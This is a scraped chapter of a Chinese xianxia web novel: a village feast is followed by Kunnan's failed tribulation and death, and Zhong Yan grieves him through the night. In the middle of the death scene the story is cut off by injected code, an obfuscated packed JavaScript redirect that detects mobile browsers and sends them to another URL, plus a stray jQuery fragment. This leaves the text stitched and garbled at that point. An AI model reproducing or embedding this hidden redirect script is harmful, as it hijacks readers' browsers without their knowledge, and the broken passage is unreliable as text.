129. 第 129 章

    天色完全落幕,屋外篝火阑珊,屋内木质矮圆桌上摆满了菜和蘸料。


    吴瑧原本挑了个风水宝地,跟钟延隔着两个位置。


    秦莫让她往旁边移一移,说要跟苍梧坐一起。


    “这不正好两个位置嘛。”


    “我不要跟钟兄坐一起,免得你们寒碜我,坤南小兄弟板正,我乐意坐他身边。”


    吴瑧懒得跟他掰扯,往旁边挪了一个位置。


    芷期最后到,一进来就让吴瑧往旁边去去。


    她开口了,吴瑧再不想从也得从。


    这样一圈费劲下来,她还是挪到了某人身边。


    “南疆菜以辛辣居多,你尝尝这道酱鸭,不会太咸。”


    旁边人筷子夹递速度,吴瑧没来得及拒绝,心说咸也得吃啊,情商多高呢。


    这里还没咽下去,那里又递来一碗汤,“这道嫩笋芽尖汤是坤南亲自下厨做的,没放辣,尝尝合不合口味。”


    吴瑧见鬼了一样接过来,“没事我能吃辣,我自己来。”


    一番操作给一旁的高冷女神都整笑了,捂嘴低声对苍梧说:“学偏了。”


    后者好笑,“听说他父亲只去烛阴族露了一面,他母亲便允了求亲贴,大约晚生的人这方面欠缺些。”


    “钟兄。”秦莫饶有意味地指了指摆在中心的一盘菜,“那道菜也清爽。”


    “白虾米,别的地方绝对吃不到。”坤南自豪地介绍。


    吴瑧打眼一瞧,那菜像米粒细细碎碎的,混着青辣椒、碎葱头、蒜泥,琢磨的时间,碗里已经多了一勺。


    她脸快跟烧红的熟肉一样了,再次重申:“我自己来。”


    一口下去,定格,满嘴爆浆胶原蛋白。


    “虫子?”吴瑧抿着嘴,挤出发颤的话。


    “蚂蚁卵,”坤南挖了一大勺,“酸蚁蛋乃世间最小最香的蛋,味道不错吧?”


    吴瑧惊惧,幸好那勺是给他最敬重的世子盛的,眼角流下一颗泪,“好吃得想哭。”


    吐出来太失礼了,吴瑧心一横,松开牙关咬动。


    起初嚼巴着味道有点怪,其实多嚼两口也别有一番风味。


    芷期和苍梧动了寥寥几筷子便以修行为由撤了,独留下秦莫争着苍崇的面子。


    “哈哈!上次餐叙,世子您神情也是如此。”坤南给他满上酒,“我刚来时也不习惯,不知不觉吃了两百零三个年头了。”


    吴瑧微愣:“蛊主不是南疆人?”


    “对啊,我本是一介逍遥散仙,师父跟钟老神主相识,当年老神主让世子来南疆历练,我们跟着一块儿来,没想到住下就走不了了。”


    吴瑧了然,混着用香叶汁水做的饮品,解决了嘴里的食物。


    这顿饭用了很久,钟延是敞开了胃口吃的。


    坤南分寸把握得很好,与钟延对视的时候就收起仰慕的眼神,不会让他不适。


    到后面,借着微醺把手搭在对方肩上,聊着过去的种种,再也没露怯。


    甚至凑到钟延耳边说话,吴瑧没听见什么内容,只见到钟延的脸越来越红。


    酒尽散桌,钟延起身扶额歪斜了几步,秦莫勾起他扶回屋休息。


    吴瑧坐在树下鼓捣失败了两回的海石锻造炉,再淬炼下去上面自带的海蕴灵性就要漏出来了。


    苍梧背靠着桌子坐下,问:“你们怎么不劝劝酒?”


    “难得见他开心。”吴瑧伸了个懒腰,“困在山里一百九十多年,出来见到第二个全乎的旧相识,想喝就喝呗。”


    “第二个?”


    吴瑧催动阵面小心靠近海石,一边接上苍梧的话,“第一个是你呀,苍梧神君。”


    小老头哈哈大笑:“女娃娃说的是。”


    他被吴瑧的手法吸引,转身凑近了看,“苍崇的熔炼炉得三大器修合力才能完成一鼎,你一个人真能搞定?”


    “拿捏不准。”吴瑧照实说,“我试了所有属性的淬炼术,就差这雷属性的,神君啊。”


    “嗯?”


    吴瑧瞟向他:“要不你来试试?可好玩了。”


    一转眼,苍梧晃身坐在钟延休息的屋前台阶上,谢绝。


    “你确定要炸了那树?”秦莫也坐在那儿,淡淡道,“烧几间屋子不打紧,但若换成这东西,我倒乐意见你被蜘蛛追。”


    “……”他一番话勾起极度恶心人的回忆,吴瑧散开阵面,把海石收回珍宝袋,“算了,回去找苏师傅研究研究。”


    月色惨淡,全靠灵虫照亮。


    屋内传出淡淡的呼声,吴瑧趴桌子上,觉得心安。


    “你们说,我只是说万一。”苍梧小声道,“坤南总不会假意逢迎,背后让人通知黑云佬吧?”


    他猛地站起来,“不行不行,咱们跑路吧,我的好贤侄可不能再出差错。”


    木门发出陈旧的响声,秦莫一把给他扯出来,“闲的你。”


    虽把他拦出来,但几人面面相觑,都从各自的眼神里读到了不放心。


    “怪不得你们都要坐那儿,想着随时撤退啊。”吴瑧笑道。


    “希望是我们杞人忧天。”


    话声停歇,静得出奇。


    忽然一阵雷动,山风挟浪卷来无边草木。


    没多久,又一声雷鸣,炸裂开响。


    钟延也被惊醒,开门出来时还扶着脑袋。


    秦莫有些疑惑:“观天象不似雨夜,怎么现在反而降雷了?”


    都说惊蛰未到雷先响是不好的兆头,至少冬后春天没有好天气,多半阴雨连绵,吴瑧也感觉不对。


    “这雷……这是雷劫啊!”苍梧扫了几人一眼,“我们当中有人历劫吗?”


    第一道强劲的雷声响过之后,近在上空的闪电往天边折了回去。


    来时似一把利剑,去时反像柔软的丝带,欲拒还迎。


    “这雷声分明就是雷劫啊,只不过越打越绵软无力,到底是谁啊?”


    钟延瞬移到吴瑧身边,自上到下仔细观察,很明显不是她。


    灵光拔起,在夜幕下如晶莹玉眼,西南方向洒下雨线,到得跟前,雷电完全隐入暮云,雨如玉珠重重地踩下来,带着消弭的灵意。


    雷霆雨露皆是天恩,迎劫失败,引来怒雨,渡劫的人像有意退却。


    “不好!”


    钟延瞬移出院子。


    其余几人也跟上,吴瑧内心隐隐生出不祥的预感。


    西南面有一座主屋,现下屋门大开,门口残留细碎的灵力,最后一丝天地灵意消散。


    吴瑧刚要进去,听得钟延惊吓地喊了声,带着悲痛的哽咽。


    到门口,一缕碎魂飘了出来,她伸手接住。


    门后隔了一道屏风,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068505|146419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    即便如此,也遮不住满屋的碎魂。


    屋内,坤南躺在钟延腿上,半边脑袋隐在阴影中,头顶渗出血,如雨柱流落。


    蛊娃和蛊童飞在他身旁,使劲注入灵力。


    他惨白的手被钟延托着,手心蜷着,一只裹满血的珠子窝在当中。


    “世子,他们会替你,替我好好打理南疆,还有毒婆婆和云卷,放心去做你想做的事,南疆上下,无不支持。事成之后,还请,还请世子及时来一趟,他们,撑不了太久。”


    “你,你何至于此。”


    别说钟延,旁人见了也难不悲恸。


    钟延终于忍不住哭声出来:“你何至于此。”


    他动用钟山神力为坤南续命,但是魂瓣已毁,无力回天。


    “我保着南疆却害别派担了迫害,此番将驱魂珠取出,既是为南疆,也是,也是谢罪。死我一个不足惜,至少师父在冥洲等我,世子别为我伤心。”


    阵开收魂,钟延在泣声中挤出安慰的话声:“冥洲冷,我们不去。”


    他的手紧紧包住坤南的手,“等我,我会想法子救你。”


    “好,不要勉强。”坤南冷得发颤,无力偏头,“前路漫漫亦灿灿,这世间从来不缺弱肉强食,也不缺风一更雪一更的傻子……世子,我愿意做傻子。”


    声音渐弱,坤南脖子一软,笑着走了。


    钟延手抖得厉害,将他肉身连剩下的碎魂收进阵法。


    吴瑧也放开手里的碎片,她想不到,他们都想不到,坤南居然下了这样的决心。


    他知道将驱邪珠融入神魂迟早会面临死境,可为了不被黑云佬轻易拿到还是这样做了。


    钟延半跪着,左手撑开,还保持着扶坤南的姿势。


    外面雷鸣弱到无力,雨声却重得如诉如泣。


    钟延踉跄着起身,到屋外抬头迎着大雨。


    这场雨是坤南渡劫失败转化来的,雨滴诉说千言万语。


    吴瑧望着他的背影,在封阴山中坚毅犹然,现在却跨了一些,比那时候更孤独。


    肩头被人戳了戳,吴瑧回头,见秦莫抹了一把泪,让她去劝慰劝慰。


    “你们先回屋吧,我,我陪陪他。”


    吴瑧站在身后七八步外,一直没出声,陪他淋了一夜的雨。


    直到晨光照亮寨子,她见钟延还站在原地,迷迷糊糊地低下头。


    “瑧儿?”


    “嗯,我在!”


    迎面吹来一股灵术,身体慢慢烘干。


    “你,我没注意,对不住。”


    “没事,我陪陪你。”


    “昨夜他本该入化通境,他把自己的神魂打碎了。”钟延咬着牙,催动烘干术的手掌颤抖起来。


    吴瑧握住那只手,也忍不住落泪。


    雨水再度倒泄,淹没了钟延的啜泣声。


    等他平静下来,吴瑧拖着疲惫的身体回到休息的屋子,脑袋很晕,应该发烧了,跟着经历悲喜伤情有些反弹,但是辗转反侧始终无法入眠。


    回来前,蛊娃把坤南生前留下的遗书交给钟延。


    信中说不必为他起灵送葬,也不必立衣冠冢,他来时为散仙,去后甘为山风。


    这样一个人本该肆意逍遥,吴瑧心中隐隐发慌,黑云族动作不断,苍崇隐着大鱼,钟延渐渐势起,南疆的事,可能只是个开头。